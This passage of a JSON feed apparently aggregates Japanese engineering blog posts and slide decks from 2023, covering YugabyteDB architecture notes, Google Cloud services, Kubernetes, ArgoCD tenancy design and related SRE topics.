failureタブレットピアーリーダーの障害は数秒以内にRaftレベルのリーダー選出を自動的にトリガーし、他のYB-TServerに配置されているタブレットピアーが新しいリーダーとして選出される。タブレットピアリーダーに障害が発生した場合、可用性が損なわている時間は約3秒(ハードビートの感覚がデフォルトの500msの場合)である。YB-Master failureYB-Masterは通常のIOオペレーションではクリティカルパスでは無いため、ユニバースを動作させるのに影響は無い。しかしYB-Masterは異るノードで動作するピアーのRaftグループの一部であるため。このピアーのうちの一つがアクティブなマスターで残りがアクティブスタンバイである。YB-Masterのリーダーであるアクティブマスターに障害が発生した場合、ピアーはリーダーの障害を検知し、新なアクティブマスターであるYB-Masterのリーダーを障害時に数秒以内で再選出する。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/9_core_functions_high_availability","isoDate":"2023-10-21T15:12:37.000Z","dateMiliSeconds":1697901157000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Google Application Integrationについて","contentSnippet":"whatGoogle Cloudの「Application Integration」というサービスについて軽く調べたことをまとめたログ関連してiPaasについても調べたことを記載する Application Integrationとはhttps://cloud.google.com/application-integration?hl=jaGoogle Cloudが提供するIntegration Platform as a Service(iPaaS)ソリューションビジュアルエディタを利用することによって、以下がノーコードで行えるイベントによるトリガーの...","link":"https://zenn.dev/nedoko_dok0dko/articles/365af68bb280e7","isoDate":"2023-10-18T09:20:05.000Z","dateMiliSeconds":1697620805000,"authorName":"seno","authorId":"seno"},{"title":"TailscaleのMagicDNSがなぜかLinux上で動かなくなったのでトラブルシューティングした","contentSnippet":"MagicDNSを使っているつもりだが、名前解決に失敗する……!どうやらLinuxの場合、NetworkManager + systemd-resolvedという構成を使っているケースが多いらしく、以下のようにして、 /etc/resolv.confを設定してやればいいようだ(Configuring Linux DNS)。","link":"https://blog.atusy.net/2023/10/17/tailscale-magicdns-with-networkmanager/","isoDate":"2023-10-17T00:00:00.000Z","dateMiliSeconds":1697500800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud Asset Inventoryとは","contentSnippet":"whatGoogle Cloud のCloud Asset Inventoryについて調べてわかったことの個人まとめ Cloud Asset Inventoryとはhttps://cloud.google.com/asset-inventory/docs/overview?hl=jaCloud Asset Inventory は、時系列データベースに基づいてインベントリ サービスを提供します。このデータベースは、Google Cloud のアセット メタデータの 35 日間分の履歴を保持します。過去 35 日間変更がない既存のアセットの場合、Cloud Asset ...","link":"https://zenn.dev/nedoko_dok0dko/articles/e80d73d4f28a79","isoDate":"2023-10-13T10:27:12.000Z","dateMiliSeconds":1697192832000,"authorName":"seno","authorId":"seno"},{"title":"kube-controller-manager入門","contentSnippet":"SRETT #7 で発表した資料です。\\rhttps://3-shake.connpass.com/event/293432/\\r\\r発表のライブ配信はこちら。\\rhttps://www.youtube.com/watch?v=h1VxlvF9bls\\r\\rzennのスクラップ:\\rhttps://zenn.dev/bells17/scraps/592a02b3bc1ff3\\r\\rスライドで紹介した参考リンク集:\\r- https://github.com/kubernetes/kubernetes/tree/v1.28.2","link":"https://speakerdeck.com/bells17/kube-controller-managerru-men","isoDate":"2023-10-12T04:00:00.000Z","dateMiliSeconds":1697083200000,"authorName":"bells17","authorId":"bells17"},{"title":"SRETT#7 エンプラ企業におけるK8s利用意義について再考","contentSnippet":"","link":"https://speakerdeck.com/parupappa2929/srett-number-7-enpuraqi-ye-niokeruk8sli-yong-yi-yi-nituitezai-kao","isoDate":"2023-10-12T04:00:00.000Z","dateMiliSeconds":1697083200000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた","contentSnippet":"こんにちは、初めましての方もそうでない方も、Sreake事業部 佐藤慧太(@SatohJohn)です。 今回Google CloudのVertex AI Search(旧Enterprise Search)について検証の […]The post Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/vertex-ai-search-summary-tool/","isoDate":"2023-10-12T03:46:53.000Z","dateMiliSeconds":1697082413000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでアホになった要素を速く見つけろ!(ナベアツネタ)","contentSnippet":"ナベアツは数字がでかくなるほどアホになる割合がアップすると聞いたので検証してみましたhttps://twitter.com/jagarikin/status/1711855799184785732これをRでやってみるべく、MITTIさんが書いたコードが重いらしいです。","link":"https://blog.atusy.net/2023/10/12/fast-fool-findier/","isoDate":"2023-10-12T00:00:00.000Z","dateMiliSeconds":1697068800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、新たに 、システムのインシデント対応を一元化するプラットフォーム「PagerDuty」の導入支援サービス「PagerDutyパッケージ」を正式リリースいたしました。The post スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pagerduty-package/","isoDate":"2023-10-10T00:50:00.000Z","dateMiliSeconds":1696899000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SREとPlatform Engineerの交差点","contentSnippet":"Platform Engineering Meetup #5 #PFEM\\rhttps://platformengineering.connpass.com/event/295048/ \\r\\rSREとPlatform Engineerの交差点: 2つの領域の交差と組織への適用 というタイトルで登壇します。\\r\\r登壇ブログ |『SREとPlatform Engineerの交差点:2つの領域の交差と組織への適用』というタイトルで登壇しました\\rhttps://syu-m-5151.hatenablog.com/entry/2023/10/05/233555\\r\\rグレイラットの殺人 ワシントン・ポーが面白かったのでオススメです。\\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015569/","link":"https://speakerdeck.com/nwiizo/sretoplatform-engineernojiao-chai-dian","isoDate":"2023-10-05T04:00:00.000Z","dateMiliSeconds":1696478400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREとPlatform Engineerの違いを3つのポイントで理解する","contentSnippet":"はじめに プラットフォームエンジニアリング(Platform Engineering)とサイト信頼性エンジニアリング(SRE, Site Reliability Engineering)はともに、ITインフラとアプリケー […]The post SREとPlatform Engineerの違いを3つのポイントで理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/3-diffs-with-sre-and-platform-engineer/","isoDate":"2023-10-04T03:49:57.000Z","dateMiliSeconds":1696391397000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DietPi で DNLA サーバー","contentSnippet":"Raspberry Pi 4 を買った週に Raspberry Pi 5 が発表されてちょっと悔しいところですが Windows XP 時代から OS を更新しながら使っていた古いデスクトップPCを処分したのでそこで","link":"https://blog.1q77.com/2023/09/minidlna-on-dietpi/","isoDate":"2023-09-30T08:33:09.000Z","dateMiliSeconds":1696062789000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Kubernetes における秘密情報の管理方法","contentSnippet":"自己紹介 竹下 2023年8月21日からインターンに参加している早稲田大学基幹理工学研究科 M1 竹下です。SRE関連の技術と,自身が研究しているセキュリティ分野との関係性を学びたいと思い、インターンに参加しました。 中 […]The post Kubernetes における秘密情報の管理方法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-secret-management/","isoDate":"2023-09-25T08:35:29.000Z","dateMiliSeconds":1695630929000,"authorName":"Sreake","authorId":"Sreake"},{"title":"EventBridge Scheduler からの Lambda 関数起動に Lambda Permission は不要","contentSnippet":"AWS Lambda 関数の他サービスからの呼び出しAWS Lambda 関数にはリソースベースポリシーを割り当てることができます。関数を他のサービスから呼び出すとき,通常はリソースベースポリシーにそのサービスからの実行を許可するポリシーを追加する必要があります。例えば,Amazon SNS からイベント駆動で呼び出す場合は,以下のように add-permission コマンドを実行することでポリシーを追加することができます。aws lambda add-permission --function-name example-function \\\\--action lambda...","link":"https://zenn.dev/toshikish/articles/743f69389aa99c","isoDate":"2023-09-22T10:16:34.000Z","dateMiliSeconds":1695377794000,"authorName":"toshikish","authorId":"toshikish"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得","contentSnippet":"Google Cloud – Sell エンゲージメントモデルにおけるプレミアパートナーである株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、Google Cl […]The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-specialization/","isoDate":"2023-09-22T00:50:00.000Z","dateMiliSeconds":1695343800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"WSL 2 で外部ストレージをマウント","contentSnippet":"Laptop を Linux で使用していた時の遺産を WSL 環境でも使おうと XFS でフォーマットされた USB 接続の HDD をマウントする方法がないかなと思って調べたメモ。 Microsoft のドキュメ","link":"https://blog.1q77.com/2023/09/wsl2-mount-volume/","isoDate":"2023-09-21T14:08:28.000Z","dateMiliSeconds":1695305308000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Expanding SRE ~方法論としてのSREを広めたい~","contentSnippet":"","link":"https://speakerdeck.com/parupappa2929/jagu-e-rren-cai-yu-cheng-fen-ke-hui-20230926","isoDate":"2023-09-20T04:00:00.000Z","dateMiliSeconds":1695182400000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"IPA試験 合格体験記/qualification-story","contentSnippet":"","link":"https://speakerdeck.com/moz_sec_/qualification-story","isoDate":"2023-09-15T04:00:00.000Z","dateMiliSeconds":1694750400000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"BigQueryの行列レベルのアクセス制御について","contentSnippet":"whatBigQueryにおける「行列レベル」のアクセス制御について調べたことをまとめる そもそも: 行・列単位に対してのアクセス制御は可能なのか?A. できるそれぞれ記載していく 列単位https://cloud.google.com/bigquery/docs/column-level-security-intro?hl=ja列に対して事前定義したポリシータグと呼ばれるものを付与することで、特定のアカウントやグループだけが列にアクセスできる。アクセスポリシーはSQLを実行する際に確認され、許可されていないメンバーからのクエリはAccess Denitedと...","link":"https://zenn.dev/nedoko_dok0dko/articles/bc6a413eb623c7","isoDate":"2023-09-14T11:46:25.000Z","dateMiliSeconds":1694691985000,"authorName":"seno","authorId":"seno"},{"title":"Cloud Deployを使ったCloud Runのリリース","contentSnippet":"概要Cloud RunのリリースにCloud Deployを使ってみます。 そもそもCloud Deployとはhttps://cloud.google.com/deploy?hl=jaGKE、Cloud Runのリリースを管理できるサービスになります。リリースフローを記載したパイプラインの定義を作成し、パイプラインを作成したら、フローを管理できるようになります。各フローでは基本内部でskaffoldを通して、Cloud Buildが実行される形です。Cloud Deployを使うと以下のような、リリースフローになるかと思います。Cloud BuildでImageを...","link":"https://zenn.dev/satohjohn/articles/7e6a70edc8f36e","isoDate":"2023-09-13T05:47:13.000Z","dateMiliSeconds":1694584033000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Kubernetesソースコードリーディング入門","contentSnippet":"Kubernetes Novice Tokyo #27 で発表した資料です。\\rhttps://k8s-novice-jp.connpass.com/event/293144/\\r\\r発表のライブ配信はこちら。\\rTODO\\r\\rスライドで紹介した参考リンク集:\\rhttps://bells17.medium.com/things-you-should-know-about-reading-kubernetes-codes-933b0ee6181d \\rhttps://www.amazon.co.jp/dp/4297104385/\\rhttps://www.amazon.co.jp/dp/4297118378/ \\rhttps://go.dev/tour/welcome/1 \\rhttps://gopherdojo.org/studyroom/ \\rhttps://www.amazon.co.jp/dp/4621300253/ \\rhttps://speakerdeck.com/bells17/kubelet-and-containers \\rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \\rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp \\rhttps://speakerdeck.com/sanposhiho/zi-zuo-sitexue-bukubernetes-schedulerru-men \\rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive \\rhttps://speakerdeck.com/masayaaoyama/infrastudy2-k8s \\rhttps://github.com/kubernetes/client-go/tree/master/examples/workqueue \\rhttps://github.com/kubernetes/sample-controller/blob/master/controller.go \\rhttps://github.com/kubernetes-sigs/kubebuilder \\rhttps://speakerdeck.com/bells17/kubebuilder-introduction \\rhttps://zoetrope.github.io/kubebuilder-training/ \\rhttps://github.com/cybozu-go \\rhttps://www.youtube.com/watch?v=yqB_le-N6EE \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-instrumentation/1602-structured-logging/README.md \\rhttps://github.com/kubernetes/enhancements/issues/1602 \\rhttps://github.com/kubernetes/klog/issues/125 \\rhttps://github.com/kubernetes/klog/pull/126 \\rhttps://github.com/kubernetes-csi \\rhttps://kubernetes-csi.github.io/docs/drivers.html \\rhttps://speakerdeck.com/bells17/introduction-to-csi \\rhttps://github.com/kubernetes/kubeadm \\rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init \\rhttps://github.com/kubernetes-sigs/metrics-server \\rhttps://speakerdeck.com/bells17/metrics-server \\rhttps://speakerdeck.com/bells17/accurate-introduction \\rhttps://github.com/cybozu-go/accurate \\rhttps://slack.k8s.io/ \\rhttps://www.youtube.com/watch?v=Ayo5w-CSmP0 \\rhttps://github.com/kubernetes/community","link":"https://speakerdeck.com/bells17/kubernetessosukotoriteinkuru-men","isoDate":"2023-09-12T04:00:00.000Z","dateMiliSeconds":1694491200000,"authorName":"bells17","authorId":"bells17"},{"title":"GitHub ActionsでWorkload Identityでの認証を入れてGoogle CloudのAPIを叩く","contentSnippet":"概要正直難しいと思ってたのですが、資料を読んでいくと表面上、実装は難しくありませんでした。GitHub ActionsとGoogle Cloudを連携する場合、json管理とかしなくても済むし、基本的にやっておいて損はないと思います。ユースケースとしては、例えば、GitHub Actionsで実行した結果(report)をGoogle Cloud Storageにデータを送りたいなどの際に使えると思います。Identity Poolに対して、providerは複数作成できるため、いろんな GitHub Actionsから利用されるようなパターンでも、provider:scri...","link":"https://zenn.dev/satohjohn/articles/1645be8e83eab6","isoDate":"2023-09-11T14:17:35.000Z","dateMiliSeconds":1694441855000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較","contentSnippet":"自己紹介 高島 陸斗 千葉工業大学修士1年生の高島陸斗です。大学院では、コンピュータによる数値計算の厳密解との誤差がどの程度あるのかを調べる精度保証の精度を上げるための研究をしています。サイバーセキュリティに興味があり、 […]The post コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/container-security-comparison/","isoDate":"2023-09-11T07:22:29.000Z","dateMiliSeconds":1694416949000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQueryのオンデマンド料金におけるコスト管理方法についてメモ","contentSnippet":"whatBigQueryにおけるコスト管理方法について、公式ドキュメントを元にメモしたログ今回はオンデマンド料金について記載のため、定額料金(BigQuery Editions)に関しては記載しない 高額請求が来てしまうパターンとはよく見かける/耳にするのは以下のような場合(あくまで一例)大量にデータをスキャンするクエリを実行するselect * 系のクエリを投げる(Table Patitionを利用したテーブルの場合)partitionで指定しないでクエリを投げる料金がかかるクエリをバッチなど利用して連続で実行してしまうTable Patition...","link":"https://zenn.dev/nedoko_dok0dko/articles/f0da04c4a70ea6","isoDate":"2023-09-11T01:56:24.000Z","dateMiliSeconds":1694397384000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day8","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Write I/O pathを読みました。今回はArchitecture > Core functions > Read I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Read I/O pathI/O Pathはタブレットリーダーが特定されリード処理を実行する単一キーの例で説明することが出来る。Tablet leader identificationユーザーが発行したYQLクエリレイヤに作用するリードリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザリクエストはYQLレイヤで内部キーに変換され、YQLレイヤがタブレットとそれをホストするYB-TServerを発見するのに利用される。YQLレイヤはこれをYB-MasterにたしてRPC呼び出しを実行するために行なう。またそのレスポンスは将来の利用のためにキャッシュされる。その後YQLレイヤはリーダータブレットピアーをホストするYB-TServerに対してリード処理を行なう。このリード処理は内部キーを保持するタブレットのRaftグループのリーダーによって処理される。このリードリクエストを処理するRaftグループのリーダーはDocDBから読み込みを実行し、その結果をユーザーに戻す。Write I/O Pathで説明した通り、YugabyteDBのスマートクライアントではアプリケーションのリクエストを直接適切なYB-TServerに送信することが出来るため、余計なネットワークホップやマスターへのアクセスを省略することが出来る。Read operation performed by tablet leaderkという値をKというプライマリキー行に持つテーブルT1からデータを取得するケースについて考える。またテーブルT1はキー行Kと値行Vを持つものとする。1下記の画像はリード処理について説明している。YugabyteDBはデフォルトでは強整合性の読み取りを採用している。リードクエリはさらに複雑になることもある。YQLクエリレイヤーは式やビルトイン関数、算術演算を含むクエリを処理するfully-optimized2されたクエリエンジンを持っている。SELECT K,V from T1 where K = \'k\'ということ↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/8_core_functions_read_io_path","isoDate":"2023-09-06T18:37:55.000Z","dateMiliSeconds":1694025475000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"LookMLとは","contentSnippet":"これは何?Looker内にある機能である「LookML」について調べたことをまとめた個人的備忘録。 LookMLとはLookMLの紹介 \xa0|\xa0 Looker \xa0|\xa0 Google CloudLookML は、Looker Modeling Language の略です。セマンティックデータモデルを作成するためにLookerで使用される言語です。LookMLを使用して、SQLデータベース内のディメンション、集計、計算、およびデータの関係を記述できます。LookMLは「Looker上で利用できる独自の言語」のことをさす 別にMLや機械学習は関係ないLookerは、Lo...","link":"https://zenn.dev/nedoko_dok0dko/articles/18a4a04b98dcb8","isoDate":"2023-09-05T10:46:35.000Z","dateMiliSeconds":1693910795000,"authorName":"seno","authorId":"seno"},{"title":"Nodejs(Nest.js)のアプリケーションのbuildを高速化、slim化してみようの会","contentSnippet":"前提DockerによるNode.jsのインストール(pull)はキャッシュされているものとする.dockerignoreは以下の通りnode_modules.git.gitignore*.mddisttest 最初にまとめ軽く、そんなに依存関係が多くないアプリケーションであればnpmでstaging buildでキャッシュ効かせるぐらいでよいかもRUN --mount=type=cache,target= は効果がありそうである (https://zenn.dev/kou64yama/articles/powerful-docker-build-cache...","link":"https://zenn.dev/satohjohn/articles/c05d29f5d68e0c","isoDate":"2023-09-02T10:02:16.000Z","dateMiliSeconds":1693648936000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"mini.surroundによるHTMLタグ編集のemmet対応","contentSnippet":"mini.surroundはvim-sandwichのような、括弧やクオーテーションなどで囲まれた文字列を編集するためのNeovim向けプラグインです。選択範囲を()で囲う、文字列の囲いを()から\\"\\"に変更する、\\"\\"による囲いを削除するといったことが可能です。同様にHTMLタグに対する操作にも対応していますが素朴なものです。","link":"https://blog.atusy.net/2023/09/01/mini-surround-emmet/","isoDate":"2023-09-01T00:00:00.000Z","dateMiliSeconds":1693526400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Lookerのユーザー権限について","contentSnippet":"これは何Lookerのユーザー権限一覧を個人的にまとめたものhttps://cloud.google.com/looker/docs/admin-panel-users-roles?hl=ja#default_permission_sets ユーザー権限一覧Admin:Developer、Viewer、Standard権限に加え、データソースへの接続やユーザー管理の権限を持つ現時点で確認できる、Adminでしかできない機能については以下データソース(BigQuery等)への接続設定ユーザーの追加・削除・権限の変更ユーザー・グループ単位のフォルダの公開・非公...","link":"https://zenn.dev/nedoko_dok0dko/articles/160cb146e72740","isoDate":"2023-08-31T17:22:40.000Z","dateMiliSeconds":1693502560000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day7","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Table Creationを読みました。今回はArchitecture > Core functions > Write I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Write I/O pathWrite I/O pathはYQLレイヤーで処理され、タブレットリーダーによってレプリケーションの準備が行なわれるシングルキーでの書き込みとして例示することが出来る。アトミックなアップデートを共なう複数キーでの分散トランザクションなど複雑なケースについては分散トランザクションに記載する。Write operation processing by YQL layerユーザーが発行したYQLクエリレイヤに作用するライトリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザーリクエストはYQLレイヤで内部キーに変換される。シャーディングで説明するように、それぞれのキーは一つのタブレットが所有する。どのタブレットがキーを所有するか特定するために、YQLレイヤはYB-MasterにRPC1呼び出しを実行する。そのレスポンスは将来の利用のためにキャッシュされる。YugabyteDBはタブレットの場所をキャッシュし直接参照することでネットワークホップを減らすことで、YQLレイヤが直接適切なYB-TServerにホストされるタブレットリーダーにリクエストを送信することが出来るスマートクライアントを持つ。YQLレイヤがローカルノードにタブレットリーダーを見つけた場合、RPCはローカルファンクションコールになりリクエストをシリアライズとデシリアライズしてネットワーク越しに送信する時間を節約することが出来る。その後YQLレイヤはタブレットリーダーをホストするYB-TServerへの書き込みを発行する。この書き込みはキーを所有するRaftグループのタブレットリーダーによって処理される。Preparation of the operation for replication by tablet leader下記の図はタブレットリーダーがレプリケーションを実行する処理を説明している。タブレットのRaft Groupリーダーは以下の処理を実行する。現在実行されている処理が現在のスキーマに対応しているかを判別するキーに対してローカルin-memoryロックマネージャーを利用してロックを取得する。このロック機構はフォロワーには存在しない必要であればデータを読み込む(read-modify-writeや条件付きアップデート命令など)DocDBに書き込まれる変更のバッチを準備する。この書き込みバッチは殆ど最終的にRocksDBに書き込まれるKey-Valueペアに近く、それぞれのキーの末尾に最終的なhybrid timestampが添えられていないだけであるRaft replication of the write operation書き込みのRaftレプリケーション処理の流れは以下のように説明することが出来る。リーダーがバッチをRaft logにアペンドし、書き込みのためのhybrid timestampを選択するRaftを利用しデータをピアーに複製する成功したRaft replicationのデータをローカルのDocDBに反映するユーザーに成功を返すフォロワータブレットはRaftを利用したデータの複製を受けつけ、コミットされた事が分ったタイミングでその複製をローカルのDocDBに反映する。リーダーは以下のようにコミットポイントに於ける後続のRPCリクエストの進行を進める。書き込みバッチを含むRaftエントリーは過半数以上のタブレットRaft Groupピアーに複製されるRaftのサブシステムから\\"Replication Successful\\"のコールバックを取得したあと、リーダーはローカルのDocDBにバッチの書き込みを適用するリーダーからの次の更新でエントリーがコミットされたことがフォロワーに通知され、フォロワーはそれぞれのRocksDBインスタンスにバッチの書き込みを適用する。Response to the clientInformation Pending2Exampleskとvという値をKという行とVという行をもつテーブルT1に挿入する例について考える3。この例ではユーザーアプリケーションがランダムなYugabyteDBサーバにWriteクエリを送信し、そのサーバがリクエストを適切にルーティングすると仮定して簡略化している。特にYCQLではYugabyteDB Smart Clientを使うことで、余分なネットワークホップを避けることが出来る。↩原文ママ。過去のバージョンでも記載無し↩INSERT INTO T1 (K,V) VALUES(\'k\',\'v\')ということ↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/7_core_functions_write_io_path","isoDate":"2023-08-30T16:03:36.000Z","dateMiliSeconds":1693411416000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Modifying output format from within R Markdown chunk by `rmarkdown::output_format_dependency`","contentSnippet":"This article introduces a new feature from rmarkdown 2.24, output_format_dependency().R Markdown users use variety of output formats from variety of packages such as html_document, bookdown::git_book, revealjs::revealjs_presentation, and so onUsually, users specify the YAML frontmatter to choose and tweak formats.output: html_document: toc: trueSome people may be surprised, but the output formats are R functions!And the above example is equivalent to specifying the toc argument to html_document().Output formats already provide customizibility.","link":"https://blog.atusy.net/2023/08/28/rmarkdown-output-format-dependency/","isoDate":"2023-08-28T00:00:00.000Z","dateMiliSeconds":1693180800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Harness✖️TerraformでHarness IaC実現","contentSnippet":"はじめにHarnessのIaCを調査する(Harness Git Experience)上記ドキュメントでHarnessのIaCについて調査を行ったその結果、Pipelineレベルより抽象度の高いIaCにはTerraformを使用する必要があることがわかったそこで、Harness Terraform Providerを使用して、IaCを実現する githubリポジトリhttps://github.com/parupappa/harness-gitops-yokoo/tree/main/terraform 方針詳しい記述はREADME.mdに記載したので、そちらを...","link":"https://zenn.dev/yokoo_an209/articles/d599fb9896d2eb","isoDate":"2023-08-25T07:55:09.000Z","dateMiliSeconds":1692950109000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"YugabyteDBのドキュメントを全部読む Day6","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Universe creationを読みました。今回はArchitecture > Core functions > Table Creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Table CrationYugabyteDBではユーザーにより実行されるテーブルの作成はYB-Masterのリーダーが実行する非同期APIによって管理される。YB-MasterはそのAPIでテーブルのスキーマと障害耐性を高めるために形成するRaftグループに所属するYB-Masterでのテーブル作成に必要な他の情報のレプリケーションが完了した段階でAPIの成功を返す。YB-Masterのリーダーがテーブル作成を実行するときは複数のステップが存在する。ValidationYB-Masterリーダーはテーブルスキーマの検証を行ない、指定された数のタブレットを作成する。これらのタブレットはこの段階ではYB-TServerには割り振られていない。ReplicationYB-MasterリーダーはYB-MasterのRaftグループにテーブルスキーマと新しく作成されたタブレット(この時点ではYB-TServerへの割り当て行なわれていない)の複製を行なう。この処理はYB-Masterリーダに障害が発生してもテーブル作成が成功することを保証する。Acknowledgementテーブル作成処理はYB-Masterリーダーに障害が発生しても処理を継続することが出来るため、この段階で非同期テーブル作成APIは成功を返す。ExecutionYB-Masterリーダーはそれぞれのタブレットをレプリケーションファクターとして指定された数だけYB-TServerに割り当てを行なう。このタブレットピアーの配置は指定された障害耐性を実現でき、またタブレットの割り当てがYB-TServerに均等に行なわれるように実行される。タブレットのYB-TServerへの割り当てはタブレットのレプリカが複数クラウド、リージョン、アヴェイラビリティゾーンをまたいで分散するといった追加の制約を満す必要がある。Continuous monitoringYB-Masterリーダーは全てのタブレットの割り当て処理を監視し、その実行状態と完了をユーザーが実行したAPIコールに対して応答する必要がある。Examplesテーブルが4ノードからなるYugabyteDBUniverseに作成される処理について考える。このときテーブルは16のタブレットと3つのレプリケーションファクターを持つとする。YB-Masterリーダーはスキーマを検証する。また16タブレット(合計48のタブレットピアー)を作成し、Raftを利用して過半数のYB-TServerにテーブルの作成に必要なデータを複製する。作成したタブレットをRaftグループを成すYB-TServerの中の指定された数のYB-TServer割り当て、リーダーの選出を行なう。このタブレットに属するキーに対する全てのリードとライトは、タブレットピアーのリーダーとRaftグループが責任を持つ。タブレットが割り当てられると長期に渡る障害か将来のロードバランシングが発生しYB-Masterにオーナーシップを変更されるまで、割り当て先のYB-TServerが所有する。タブレットリーダーをホストするYB-TServerの内の1台に障害が発生した場合、タブレットのRaftグループはI/Oを処理するために即座にリーダーエレクションを実行する。そのためYB-MasterはI/Oにおけるクリティカルパスになることはない。レプリケーション先となる候補を探す。この複製処理は段階的かつGracefulに実行される。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/6_core_functions_table_creation","isoDate":"2023-08-23T14:26:45.000Z","dateMiliSeconds":1692800805000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"HarnessのIaCを調査する(Harness Git Experience)","contentSnippet":"はじめにHarnessで複数のパイプライン構築しようとするときに、いちいちGUIでパイプラインを1から構築していくのはSRE的な観点からみるとトイルと言わざるを得ないHarnessのネイティブ機能でパイプラインのclone(複製)はできるが、パラメータやクラスタの設定変更など全てプロビジョニングはできないそこで、Harnessで構築するパイプライン自体をIaCで管理すべく、Harness Git Experienceを中心に技術検証を行うHarness Git Experienceの概要はこちらを参照 調査公式quickstartを元にHarness Git Exper...","link":"https://zenn.dev/yokoo_an209/articles/8fd200bc6239ae","isoDate":"2023-08-21T08:15:15.000Z","dateMiliSeconds":1692605715000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"【ArgoCD\uD83D\uDC19️】KubernetesのマルチテナントパターンとArgoCDの実践テナント設計","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Kubernetesのマルチテナントパターンの種類マルチテナントパターンをArgoCDで実践する場合にオススメのパターン (★で表現)ArgoCDのNamespacedスコープモードとClusterスコープモードArgoCDのテナントが防いでくれる誤った操作の具体例記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. なぜマルチテナントが必要なのかシングルテナントの場合マルチテナントの場合03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧Clusters as-a-ServiceControl Planes as-a-ServiceNamespaces as-a-Serviceカスタムリソーステナント04. ArgoCDでのテナントパターン実践一覧04-02. Clusters as-a-Service 実践実Clusterテナントオススメしない理由04-03. Control Planes as-a-Service 実践仮想Clusterテナント - ★オススメした理由04-04. Namespaces as-a-Service 実践04-05. カスタムリソーステナントの実践AppProjectテナントCLモード vs. NSモード05. CLモードなArgoCDCLモードなArgoCDとはAppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)オススメしない理由05-02. NSモードなArgoCD - ★★NSモードなArgoCDとはAppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)特にオススメした理由AppProjectテナント例の一覧テナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)オススメしなかった理由テナント例2 - 